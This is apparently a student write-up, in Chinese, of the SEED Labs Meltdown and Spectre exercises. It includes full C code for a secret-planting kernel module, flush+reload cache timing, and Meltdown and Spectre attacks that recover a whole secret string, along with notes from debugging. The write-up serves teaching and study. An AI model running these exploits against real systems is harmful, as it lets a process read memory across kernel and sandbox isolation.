SEEDLabs Meltdown & Spectre
实验原理
现代 CPU 常常使用乱序执行以提高并行度。例如在遇到分支时采用分支预测的办法,使得同一时刻在 CPU 内执行的指令可以跨过 CFG 的结点。但在错误恢复时,在之前的 CPU 设计中并没有考虑到 Cache 内容的恢复问题,因此即使是一些没有访问权限的数据也会被缓存至 Cache 中。
攻击者可以利用这一特性作为 Side Channel,以无访问权限的数据作为下标访问某一数组,最终通过数组数据是否被 Cache 来判断数据的内容。这一攻击在硬件层面破坏了 inter-process 和 intra-process 的隔离机制,达到了任意读的效果。
6.1 Meltdown
Task 1 和 Task 2 同 Spectre 实验
Task 3
实验目标:在内核中插入 secret
实验方案:
- 通过
printk()
将 secret 所在地址打印在内核消息缓冲区中,之后我们就可以通过dmsg
指令获得 secret 的地址; - 通过
proc_create_data()
设置一个入口/proc/secret_data
,这样当用户从这个入口读取时,secret
就会被 Cache
实验步骤:
① 编译并运行 MeltdownKernel.ko
:
// MeltdownKernel.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/vmalloc.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/uaccess.h>
static char secret[8] = {'S','E','E','D','L','a','b','s'};
static struct proc_dir_entry *secret_entry;
static char* secret_buffer;
static int test_proc_open(struct inode *inode, struct file *file)
{
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,0,0)
return single_open(file, NULL, PDE(inode)->data);
#else
return single_open(file, NULL, PDE_DATA(inode));
#endif
}
static ssize_t read_proc(struct file *filp, char *buffer,
size_t length, loff_t *offset)
{
memcpy(secret_buffer, &secret, 8);
return 8;
}
static const struct file_operations test_proc_fops =
{
.owner = THIS_MODULE,
.open = test_proc_open,
.read = read_proc,
.llseek = seq_lseek,
.release = single_release,
};
static __init int test_proc_init(void)
{
// write message in kernel message buffer
printk("secret data address:%p\n", &secret);
secret_buffer = (char*)vmalloc(8);
// create data entry in /proc
secret_entry = proc_create_data("secret_data",
0444, NULL, &test_proc_fops, NULL);
if (secret_entry) return 0;
return -ENOMEM;
}
static __exit void test_proc_cleanup(void)
{
remove_proc_entry("secret_data", NULL);
}
module_init(test_proc_init);
module_exit(test_proc_cleanup);
$ make
$ sudo insmod MeltdownKernel.ko
② 通过 dmesg
查询 secret 所在地址,为 0xf90d2000
:
$ dmesg | grep 'secret data address'
Task 4
实验目标:尝试在用户空间中直接访问 secret
实验步骤:使用 Task3 中获得的地址,编写如下程序:
// Task4.c
#include <stdio.h>
int main () {
char* kernel_data_addr = (char*)0xf90d2000;
char kenel_data = *kernel_data_addr;
printf("I have reached here.\n");
return 0;
}
编译并运行,观察到报了 Segmentation Fault,即无法直接访问:
Task 5
实验目标:在 C 中实现异常处理
实验方案:通过以下函数的配合可以写出 C 语言的类 try-catch 机制:
-
signal(SIGSEGV, handler)
为信号SIGSEGV
设置处理函数handler
,当发生 Segmentation Fault 时,就会调用handler
; -
函数
sigsetjump(jbuf, 1)
将当前寄存器的值存入jbuf
; -
函数
siglongjump(jbuf, 1)
从jbuf
中恢复寄存器的值,并且将寄存器%eax
的值设为 1
实验步骤:使用 Task3 中获得的地址,修改并运行 ExceptionHandling.c
:
// ExceptionHandling.c
#include <stdio.h>
#include <setjmp.h>
#include <signal.h>
static sigjmp_buf jbuf;
static void catch_segv() {
// Roll back to the checkpoint set by sigsetjmp().
siglongjmp(jbuf, 1);
}
int main() {
// The address of our secret data
unsigned long kernel_data_addr = 0xf90d2000;
// Register a signal handler
signal(SIGSEGV, catch_segv);
if (sigsetjmp(jbuf, 1) == 0) {
// A SIGSEGV signal will be raised.
char kernel_data = *(char*)kernel_data_addr;
// The following statement will not be executed.
printf("Kernel data at address %lu is: %c\n",
kernel_data_addr, kernel_data);
} else {
printf("Memory access violation!\n");
}
printf("Program continues to execute.\n");
return 0;
}
$ gcc -o ExceptionHandling ExceptionHandling.c
$ ./ExceptionHandling
观察输出结果为:即使发生了 Segmentation Fault,程序还能继续往下运行
Task 6
实验目标:观察 CPU 的乱序执行
实验方案:
- 首先将数组元素移出 Cache;
- 尝试访问 Task3 中获得的 secret 地址,并用 Task5 中的异常处理保护起来;
- 最后检测数组中哪些元素被 Cache,就可以得到被访问过的数据。
实验步骤:使用 Task3 中获得的地址,修改并运行 MeltdownExperiment.c
:
// MeltdownExperiment.c
... // same header files
... // flush and reload functions
void meltdown(unsigned long kernel_data_addr) {
char kernel_data = 0;
// The following statement will cause an exception
kernel_data = *(char*)kernel_data_addr;
array[7 * 4096 + DELTA] += 1;
}
// signal handler
static sigjmp_buf jbuf;
static void catch_segv() {
siglongjmp(jbuf, 1);
}
int main() {
signal(SIGSEGV, catch_segv); // Register a signal handler
flushSideChannel(); // FLUSH the probing array
if (sigsetjmp(jbuf, 1) == 0) {
meltdown(0xf90d2000);
} else {
printf("Memory access violation!\n");
}
reloadSideChannel(); // RELOAD the probing array
return 0;
}
$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment
观察输出结果为:下标 7 被访问过,符合实验预期
Task 7.1
实验目标:简单地使用 MeltdownExperiment.c
访问 secret
实验步骤:将 Task6 中的 MeltdownExperiment.c
修改为:不再访问下标 7,而是以 kernel_data
作为下标
// MeltdownExperiment.c
void meltdown(unsigned long kernel_data_addr) {
char kernel_data = 0;
// The following statement will cause an exception
kernel_data = *(char*)kernel_data_addr;
array[kernel_data * 4096 + DELTA] += 1;
}
$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment
重复 Task6,观察到多次攻击都无法成功:
Task 7.2
实验目标:提前 Cache secret 以增大成功几率
实验方案: Task7.1 中 secret 并未被 Cache,导致访问速度变慢,在访问成功之前就被检查出越界访问了,因此无法成功。我们可以使用 Task3 中创建的 entry 来访问 secret,使得其被 Cache。
实验步骤:向 MeltdownExperiment.c
中添加对 secret 的访问:
// MeltdownExperiment.c
int main() {
// Register a signal handler
signal(SIGSEGV, catch_segv);
int fd = open("/proc/secret_data", O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
// FLUSH the probing array
flushSideChannel();
int ret = pread(fd, NULL, 0, 0);
if (sigsetjmp(jbuf, 1) == 0) {
meltdown(0xf90d2000);
} else {
printf("Memory access violation!\n");
}
// RELOAD the probing array
reloadSideChannel();
return 0;
}
$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment
观察到成功率相较于 Task7.1 中有所提升:
Task 7.3
实验目标:增加汇编代码,减慢权限检查速度
实验方案:在访问 secret 前增加了一些无用的计算以占满 CPU 的 ALU,这样就可以减慢权限检查的速度。
实验步骤:改写 MeltdownExperiment.c
中的 meltdown()
函数:
// MeltdownExperiment.c
...
void meltdown_asm(unsigned long kernel_data_addr) {
char kernel_data = 0;
// Give eax register something to do
asm volatile(
".rept 400;"
"add $0x141, %%eax;"
".endr;"
:
:
: "eax"
);
// The following statement will cause an exception
kernel_data = *(char*)kernel_data_addr;
array[kernel_data * 4096 + DELTA] += 1;
}
int main() {
...
if (sigsetjmp(jbuf, 1) == 0) {
meltdown_asm(0xf90d2000);
} else {
printf("Memory access violation!\n");
}
...
return 0;
}
$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment
观察到成功率相较于 Task7.2 中有所提升:
Task 8
实验目标:通过多次攻击,以投票计数的方式提升正确率;获取整个 secret
实验方案:重复执行以上攻击 1000 次,用数组 score[]
统计每个下标的分数,选择投票数最高的下标作为最终的 secret 的值;循环执行以上步骤得到所有 secret 值
实验步骤:
① 首先用之前的到的 CPU 访存速度的阈值和 secret 的地址,改写并运行 MeltdownAttack.c
:
// MeltdownAttack.c
...// same header files
/*********************** Flush + Reload ************************/
uint8_t array[256*4096];
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024
...// flush and reload functions
...// funciton meltdown_asm()
...// signal handler
int main() {
int i, j, ret = 0;
...
// Retry 1000 times on the same address.
for (i = 0; i < 1000; i++) {
ret = pread(fd, NULL, 0, 0);
if (ret < 0) {
perror("pread");
break;
}
// Flush the probing array
for (j = 0; j < 256; j++)
_mm_clflush(&array[j * 4096 + DELTA]);
if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xf90d2000); }
reloadSideChannelImproved();
}
// Find the index with the highest score.
int max = 0;
for (i = 0; i < 256; i++) {
if (scores[max] < scores[i]) max = i;
}
printf("The secret value is %d %c\n", max, max);
printf("The number of hits is %d\n", scores[max]);
return 0;
}
$ gcc -o MeltdownAttack -march=native MeltdownAttack.c
./MeltdownAttack
观察到可以读取 secret 的第一个字符 'S'
:
② 接着改写 MeltdownAttack.c
,循环攻击的过程,每次访问 secret_addr + i
,即访问 secret 中下标为 i 的字符:
// MeltdownAttack.c
...
int main() {
char secret_buf[8];
for (int k = 0; k < 8; ++k) {
...
if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xf90d2000+k); }
... // Meltdown attack
// Find the index with the highest score.
int max = 0;
for (i = 0; i < 256; i++) {
if (scores[max] < scores[i]) max = i;
}
secret_buf[k] = max;
printf("The secret value is %d %c\n", max, max);
printf("The number of hits is %d\n", scores[max]);
}
for (int k = 0; k < 8; ++k) {
printf("%c", secret_buf[k]);
}
printf("\n");
return 0;
}
可以成功获取整个字符串:
6.2 Spectre
Task 1
实验目标:比较从 Cache 中读取数据和访存的速度差别
实验方案:
_mm_clflush(addr)
函数可以建议刷新某个缓存行,可能是仅仅刷新 L1 Cache,也可能是刷新所有 Cache,也有可能不刷新;- X86 的内置函数
__rdtscp(addr)
,用于读取当前 CPU 的的时间戳(以周期数为单位);将__rdtscp(addr)
放置在我们想要检测时间的代码两段,相当于加上了 fence; - 由于每个 Cache line 的长度在 Intel CPU 下为 64K,因此我们选择读取的数据间隔应当大于 64K
实验步骤:
① 运行 CacheTime.c
若干次,观察实验现象:
// CacheTime.c
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
uint8_t array[10*4096];
int main(int argc, const char **argv) {
int junk=0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
// Initialize the array
for(i=0; i<10; i++) array[i*4096]=1;
// FLUSH the array from the CPU cache
for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);
// Access some of the array items
array[3*4096] = 100;
array[7*4096] = 200;
for(i=0; i<10; i++) {
addr = &array[i*4096];
time1 = __rdtscp(&junk); junk = *addr;
time2 = __rdtscp(&junk) - time1;
printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
}
return 0;
}
在 Ubuntu 16.04 上编译该程序时需要加上选项 -march=native
来告诉 gcc 按照当前 CPU 的架构进行编译,这样才能使用上面提到的 __rdtscp(addr)
函数:
$ gcc -o CacheTime -march=native CacheTime.c
./CacheTime
② 观察到下标 3 和 7 的访问速度明显更快;经过反复试验,得到访问 Cache 和访存的周期数阈值大概在 200:
Task 2
实验目标:使用 Cache 作为 Side Channel 读取数据
实验方案:采用 Flush-Reload 方法:首先将数组元素移出 Cache,再将带读取数据作为下标访问数组 array[256*4096]
,最终检测数组元素中访问速度较快的即为被读取的数据
实验步骤:
① 使用 Task1 中得到的阈值 200 个周期,运行 FlushReload.c
若干次:
// FlushReload.c
... // same header files
uint8_t array[256*4096];
int temp;
unsigned char secret = 94;
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024
void victim()
{
temp = array[secret*4096 + DELTA];
}
void flushSideChannel()
{
int i;
// Write to array to bring it to RAM to prevent Copy-on-write
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
//flush the values of the array from cache
for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}
void reloadSideChannel()
{
int junk=0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
for(i = 0; i < 256; i++){
addr = &array[i*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
printf("The Secret = %d.\n",i);
}
}
}
int main(int argc, const char **argv)
{
flushSideChannel();
victim();
reloadSideChannel();
return (0);
}
$ gcc -o FlushReload -march=native FlushReload.c
./FlushReload
② 观察到 secret 为 94,符合预期:
Task 3
实验目标:观察 CPU 的乱序执行和分支预测
实验方案:
在 victim 中包含以下代码:
if (x < size) {
temp = array[x * 4096 + DELTA];
}
- 首先将数组元素移出 Cache;
- 接着训练该分支预测,让其总是通过;
- 之后在为 x 传入一个大于等于 size 的值。由于 CPU 的分支预测记录,很大可能会预先执行
temp = array[x * 4096 + DELTA]
,即array[x * 4096 + DELTA]
被缓存到 Cache 中,回滚时不会恢复; - 最后检测数组中哪些元素被 Cache,就可以得到之前传入的非法值。
为了减慢范围检查的速度,还可以将 size
也移出 Cache。
实验步骤:
① 使用 Task1 中得到的阈值 200 个周期,运行 SpectreExperiment.c
:
// SpectreExperiment.c
... // same header files
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024
int size = 10;
uint8_t array[256*4096];
uint8_t temp = 0;
... // flush and reload functions
void victim(size_t x)
{
if (x < size) {
temp = array[x * 4096 + DELTA];
}
}
int main() {
int i;
flushSideChannel(); // FLUSH the probing array
// Train the CPU to take the true branch inside victim()
for (i = 0; i < 10; i++) {
victim(i); // ①
}
// Exploit the out-of-order execution
_mm_clflush(&size); // ②
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096 + DELTA]);
victim(97);
reloadSideChannel(); // RELOAD the probing array
return (0);
}
$ gcc -o SpectreExperiment -march=native SpectreExperiment.c
./SpectreExperiment
观察到 secret 为 97,符合实验预期:
② 将程序中 ① 标注的位置改为 victim[i + 20]
,使得训练分支预测预测为不通过,观察到不能读取到 secret:
③ 将程序中 ② 标注的位置注释掉,即不刷新 Cache 中的 size
,使得判断是否越界的速度加快,观察到读取 secret 的概率大大降低:
Task 4
实验目标:模拟 Sepectre 攻击
实验方案:
栈上布局如下:
使用 Task3 中的方法,首先训练分支预测器,使其任我我们访问的总是在 buffer 的范围内;接着输入一个访问到 secret 部分的下标,则对应数据会被 Cache。
为了减慢数组下标越界的判断,可以将上下界 bound_upper
和 bound_lower
都移出 Cache。
实验步骤:
① 使用 Task1 中得到的阈值 200 个周期,运行 SpectreAttack.c
:
... // same header files
unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
char *secret = "Some Secret Value";
uint8_t array[256*4096];
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024
// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
if (x <= bound_upper && x >= bound_lower) {
return buffer[x];
} else {
return 0;
}
}
... // flush and reload functions
void spectreAttack(size_t index_beyond)
{
int i;
uint8_t s;
volatile int z;
// Train the CPU to take the true branch inside restrictedAccess().
for (i = 0; i < 10; i++) {
restrictedAccess(i);
}
// Flush bound_upper, bound_lower, and array[] from the cache.
_mm_clflush(&bound_upper);
_mm_clflush(&bound_lower);
for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
for (z = 0; z < 100; z++) { }
// Ask restrictedAccess() to return the secret in out-of-order execution.
s = restrictedAccess(index_beyond);
array[s*4096 + DELTA] += 88;
}
int main() {
flushSideChannel();
size_t index_beyond = (size_t)(secret - (char*)buffer);
printf("secret: %p \n", secret);
printf("buffer: %p \n", buffer);
printf("index of secret (out of bound): %ld \n", index_beyond);
spectreAttack(index_beyond);
reloadSideChannel();
return (0);
}
$ gcc -o SpectreAttack -march=native SpectreAttack.c
./SpectreAttack
观察到读取了 secret=“Some Secret Value”
的第一个字符 'S'
:
② 更改 index_beyond=(secret-(char*)buffer+i)
,就可以读取到 Secret 下标为 i
的字符:
int main() {
flushSideChannel();
size_t index_beyond = (size_t)(secret - (char*)buffer + 12);
printf("secret: %p \n", secret);
printf("buffer: %p \n", buffer);
printf("index of secret (out of bound): %ld \n", index_beyond);
spectreAttack(index_beyond);
reloadSideChannel();
return (0);
}
观察到下标 86 被 Cache,而 secret[12]
确实是字符 'V'
:
Task 5
实验目标:通过多次攻击,以投票计数的方式提升正确率
实验方案:
重复执行以上攻击 1000 次,用数组 score[]
统计每个下标的分数,选择投票数最高的下标作为最终的 secret 的值
-
为了提高正确率,降低了 CPU 周期数的阈值到 180 个周期
-
为了防止数组头部的指针被缓存,因此将所有下标向前平移了一个页,
DELTA
改为 5120;同时需要扩大数组array
的范围
实验步骤:
① 运行 SpectreAttackImproved.c
:
// SpectreAttackImproved.c
... // same header files
unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[260*4096];
#define CACHE_HIT_THRESHOLD (180)
#define DELTA (5120)
// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
if (x <= bound_upper && x >= bound_lower) {
return buffer[x];
} else {
return 0;
}
}
... // flush and reload functions
void spectreAttack(size_t index_beyond)
{
int i;
uint8_t s;
volatile int z;
for (i = -1; i < 260; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
// Train the CPU to take the true branch inside victim().
for (i = 0; i < 10; i++) {
restrictedAccess(i);
}
// Flush bound_upper, bound_lower, and array[] from the cache.
_mm_clflush(&bound_upper);
_mm_clflush(&bound_lower);
for (i = -1; i < 260; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
for (z = 0; z < 100; z++) { }
// Ask victim() to return the secret in out-of-order execution.
s = restrictedAccess(index_beyond);
array[s*4096 + DELTA] += 88;
}
int main() {
int i;
uint8_t s;
size_t index_beyond = (size_t)(secret - (char*)buffer);
flushSideChannel();
for(i=0;i<256; i++) scores[i]=0;
for (i = 0; i < 1000; i++) {
printf("*****\n");
spectreAttack(index_beyond);
usleep(10);
reloadSideChannelImproved();
}
int max = 0;
for (i = 0; i < 256; i++){
if(scores[max] < scores[i]) max = i;
}
printf("Reading secret value at index %ld\n", index_beyond);
printf("The secret value is %d(%c)\n", max, max);
printf("The number of hits is %d\n", scores[max]);
return (0);
}
$ gcc -o SpectreAttackImproved -march=native SpectreAttackImproved.c
./SpectreAttackImproved
观察到总是 0 的投票率最高:
② 将所有投票打印出来用于 debug,发现目标值确实有出现,但是票数很少:
// SpectreAttackImproved.c
...
int main() {
...
for (i = 0; i < 256; i++){
if (scores[i] > 0)
printf("%d: %d ", i, scores[i]);
if(scores[max] < scores[i]) max = i;
}
}
后经老师提醒,有可能是反复攻击时分支预测器保存了一些不通过的记录,也有可能是刷新 Cache 不彻底,因此并不是每次攻击都能够保证在越界访问检查完前访问 array[s*4096+DELTA]
。而一旦提前被检查出了越界访问,则函数 restrictedAccess
返回值为 0,则自然 0 的投票数最高。
③ 解决方案为,修改函数 restrictedAccess
返回值为 0-255 之外的值。因为一个字节的取值范围为 0-255 ,则这个范围外的值可以认为是无效的。
之前一些数据为了防止溢出,类型都是 uint8_t
(一个字节的无符号整数),我这里都改为 int
,修改函数 restrictedAccess
返回值为 -1
。由于 DELTA
大于 4096,因此即使是 -1 也能保证 array[-1*4096+DELTA]
不会越界:
// SpectreAttackImproved.c
...
// Sandbox Function
int restrictedAccess(size_t x)
{
if (x <= bound_upper && x >= bound_lower) {
return buffer[x];
} else {
return -1;
}
}
void spectreAttack(size_t index_beyond)
{
int s;
...
s = restrictedAccess(index_beyond);
array[s*4096 + DELTA] += 88;
}
...
结果可以获取正确的值:
Task 6
实验目标:获取整个 secret 字符串的值
实验步骤:将 Task5 中的攻击改写为循环即可:
// SpectreAttackImproved.c
...
int main() {
char result[17];
for (j = 0; j < 17; ++j) {
size_t index_beyond = (size_t)(secret - (char*)buffer + j);
...
}
for (j = 0; j < 17; ++j)
printf("%c", result[j]);
printf("\n");
return (0);
}
可以成功获取整个字符串: